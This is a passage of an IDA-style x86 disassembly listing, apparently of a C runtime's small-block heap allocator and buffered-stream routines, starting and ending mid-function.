mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 27D0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi call near ptr 28E084Eh nop loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 27C0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28E084Eh cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 nop call near ptr 27C0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28E084Eh test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 28E0A43h nop cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 